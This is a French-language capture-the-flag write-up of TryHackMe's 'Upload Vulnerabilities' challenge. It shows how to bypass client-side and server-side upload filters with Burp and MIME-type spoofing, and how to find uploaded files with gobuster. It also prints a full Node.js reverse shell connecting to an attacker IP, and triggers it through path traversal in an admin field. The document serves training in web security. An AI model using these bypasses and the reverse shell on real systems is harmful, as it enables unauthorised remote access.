Upload Vulnerabilities challenge – Writeup – TryHackMe
Ce petit challenge est la tâche finale du cours sur l’upload de vulnérabilités de TryHackMe. Il s’agit d’un cours d’introduction sur différentes manières de filtrer les pièces jointes (contrôle de la taille, de l’extension, du type mime et de la signature) et de la manière de les contourner pour envoyer du code malveillant.
La description nous apprend que tous les types de filtres abordés pendant le cours seront employés côté client et côté serveur. Il faudra donc trouver un moyen de passer outre pour obtenir un shell sur la machine et accéder au fichier /var/www/flag.txt. Voilà de quoi réviser les acquis
En outre, l’auteur pense utile de préciser que tous les serveurs ne sont pas tous codés en PHP et propose au téléchargement une wordlist composée d’une multitude de combinaisons de trio de lettres. Voilà de quoi nous mettre sur les rails.
Pour commencer, associions l’adresse ip au sous-domaine pour accéder au site web : sudo echo 'TARGET_IP jewel.uploadvulns.thm' >> /etc/hosts
Enumeration des filtres côté client
On voit un bouton Select & Upload. Voyons le code source :
<!DOCTYPE html>
<html>
<head>
<title>Jewel</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<link type="text/css" rel="stylesheet" href="assets/css/style.css">
<link type="text/css" rel="stylesheet" href="assets/css/cinzel.css">
<link type="text/css" rel="stylesheet" href="assets/css/exo.css">
<link type="text/css" rel="stylesheet" href="assets/css/icons.css">
<link type="image/x-icon" rel="shortcut icon" href="assets/favicon.ico">
<script src="assets/js/jquery-3.5.1.min.js"></script>
<script src="assets/js/jquery.colour-2.2.0.min.js"></script>
<script src="assets/js/upload.js"></script>
<script src="assets/js/backgrounds.js"></script>
</head>
<body>
<div id="one" class="background"></div>
<div id="two" class="background" style="display:none;"></div>
<div id="three" class="background" style="display:none;"></div>
<div id="four" class="background" style="display:none;"></div>
<main>
<object ondragstart="return false;" ondrop="return false;" id="title" data="/assets/title.svg" type="image/svg+xml"></object>
<p>Have you got a nice image of a gem or a jewel?<br>Upload it here and we'll add it to the slides!</p>
<button class="Btn" id="uploadBtn"><i id="uploadIcon" class="material-icons">backup</i> Select and Upload</button>
<input id="fileSelect" type="file" name="fileToUpload" accept="image/jpeg">
</main>
<p id="responseMsg" style="display:none;"></p>
</body>
</html>
Ce script semble gérer la fonction d’upload <script src="assets/js/upload.js"></script>
Ouvrons-le :
$(document).ready(function(){let errorTimeout;const fadeSpeed=1000;function setResponseMsg(responseTxt,colour){$("#responseMsg").text(responseTxt);if(!$("#responseMsg").is(":visible")){$("#responseMsg").css({"color":colour}).fadeIn(fadeSpeed)}else{$("#responseMsg").animate({color:colour},fadeSpeed)}clearTimeout(errorTimeout);errorTimeout=setTimeout(()=>{$("#responseMsg").fadeOut(fadeSpeed)},5000)}$("#uploadBtn").click(function(){$("#fileSelect").click()});$("#fileSelect").change(function(){const fileBox=document.getElementById("fileSelect").files[0];const reader=new FileReader();reader.readAsDataURL(fileBox);reader.onload=function(event){
//Check File Size
if (event.target.result.length > 50 * 8 * 1024){
setResponseMsg("File too big", "red");
return;
}
//Check Magic Number
if (atob(event.target.result.split(",")[1]).slice(0,3) != "ÿØÿ"){
setResponseMsg("Invalid file format", "red");
return;
}
//Check File Extension
const extension = fileBox.name.split(".")[1].toLowerCase();
if (extension != "jpg" && extension != "jpeg"){
setResponseMsg("Invalid file format", "red");
return;
}
const text={success:"File successfully uploaded",failure:"No file selected",invalid:"Invalid file type"};$.ajax("/",{data:JSON.stringify({name:fileBox.name,type:fileBox.type,file:event.target.result}),contentType:"application/json",type:"POST",success:function(data){let colour="";switch(data){case "success":colour="green";break;case "failure":case "invalid":colour="red";break}setResponseMsg(text[data],colour)}})}})});
Le contenu est clair. Il existe un filtre côté client qui vérifie la validité du fichier en fonction de sa taille, de son extension et de sa signature (Magic number -> Liste des signatures de fichier).
On ne peut pas désactiver le javascript côté navigateur pour passer ces filtres car c’est ce script qui permet l’envoie de fichiers.
Pour envoyer un script de reverse shell, il faut neutraliser tous les filtres. Je vais faire ça avec Burp Suite.
Neutralisation des filtres côté client
Interception du script – Méthode 1
Dans les options du module Proxy, j’ajoute une règle d’interception de la réponse du serveur pour capturer les fichiers javascript envoyés par le serveur avant d’être reçus par le navigateur.
Maintenant, je vide le cache du navigateur, je recharge la page d’accueil avec Ctrl+Maj+R pour vider le cache sinon le serveur ne renverra pas les fichiers (Réponse 304 : le navigateur réutilise le fichier présent dans le cache) et je clique sur Forward pour chaque requête/réponse jusqu’à recevoir le script upload.js
Interception du script – Méthode 2
Dans les options du module Proxy, je supprime l’extension js des exclusions d’interception : |^js$
De cette manière, je verrai passer tous les appels du navigateur vers les fichiers javascript.
Maintenant, je vide le cache du navigateur, je recharge la page d’accueil avec Ctrl+Maj+R pour vider le cache sinon le serveur ne renverra pas les fichiers (Réponse 304 : le navigateur réutilise le fichier présent dans le cache) et je clique sur Forward pour chaque requête jusqu’à voir l’appel vers le script upload.js
Lorsque l’appel du script intervient, je cliquer sur « Intercepter la réponse ».
Puis je clique sur Forward jusqu’à ce que Burp intercepte la réponse avant qu’elle ne soit transmise au navigateur.
Cette méthode est un peu plus rapide que la première car on n’intercepte pas toutes les réponses automatiquement. Par contre, ça demande d’être attentif pour ne pas rater l’appel.
Une fois le script intercepté, il suffit de commenter le code (je n’aime pas supprimer les choses à la hache) concernant le filtrage puis de cliquer sur Forward pour envoyer la version modifiée au navigateur.
A partir de là, on s’est débarrassé du filtrage côté client et il ne reste plus qu’à gérer le back. On pourrait utiliser l’url du script directement, mais je préfère conserver la fonction du navigateur par convenance.
A la recherche du dossier d’upload
Avant de poursuivre, je m’assure que je peux accéder aux fichiers envoyés.
La page du site dit la chose suivante :
Have you got a nice image of a gem or a jewel?
Upload it here and we’ll add it to the slides!
On peut en déduire que les images envoyées sont directement stockées dans le même dossier que les images qui défilent en boucle en fond d’écran.
Le fichier style.css
comporte l’url relative des images qui défilent #one{background:url("/content/ABH.jpg")
Il y a donc un dossier content
, mais quand j’envoie une image, il est impossible de la retrouver. Ou le dossier n’est pas le bon ou l’image est renommée. Il est temps de lancer une énumération plus complète avec gobuster :
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://jewel.uploadvulns.thm
Je trouve 3 dossiers intéressants :
- /content
- /modules
- /admin
Je relance un gobuster sur le dossier /content avec la liste fournie par l’auteur du challenge.
gobuster dir -w UploadVulnsWordlist.txt -x jpg -u http://jewel.uploadvulns.thm/content
Le résultat trouve les photos que j’ai envoyées. Elles ont été renommées avec le format [3_lettres].jpg
Je sais maintenant où se trouvent les fichiers. Je retourne au filtres.
Filtrage côté serveur
J’envoie de nouveau mon image en la manipulant de diverses manières pour déterminer le type de filtrage effectué côté back.
- Changement de l’extension (extensions inexistantes ou diverses)
- Changement du Magic Number (signature)
- Changement du type mime
Je découvre que le back filtre sur ce dernier critère.
Au passage, le header X-Powered-By: Express
de la réponse du serveur m’apprend que le back-end tourne avec le Framework Express qui est basé sur NodeJS. Le payload du reverse shell sera donc en javascript. Je cherche sur internet un payload de reverse shell en javascript.
Envoi du payload
Je trouve sur internet le script de reverse shell suivant :
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(4444, "10.9.158.221", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
J’envoie le fichier via la fonction du site et intercepte la requête avec Burp pour remplacer "type":"application/x-javascript"
par "type":"image/jpeg"
(le script d’upload a encodé le contenu du fichier en base64)
Exploitation
Je relance gobuster pour trouver sous quel nom a été enregistré le fichier. Cette fois, c’est OOE.jpg
Je lance un netcat en écoute sur mon poste nc -lnvp 4444
puis je me rends sur la page du script pour l’activer. Mais… argh, ça ne fonctionne pas. Normal, ce n’est pas une image.
A partir de là, je commence à tâtonner. Je me rends dans le dossier /admin
et il me faudra longtemps avant de comprendre qu’il faut faire la manipulation suivante (le champ exécute du code dans le dossier modules. Comme ce dossier est situé au même niveau que le dossier content, il faut ressortir de ce dossier pour atteindre notre script) :
Et boum ! Il ne reste plus qu’à récupérer le flag qui se trouve dans /var/www selon la description du challenge.
Mission accomplie.
Pour retirer la ligne ajoutée dans /etc/hosts
en début de challenge :
sudo sed -i '$d' /etc/hosts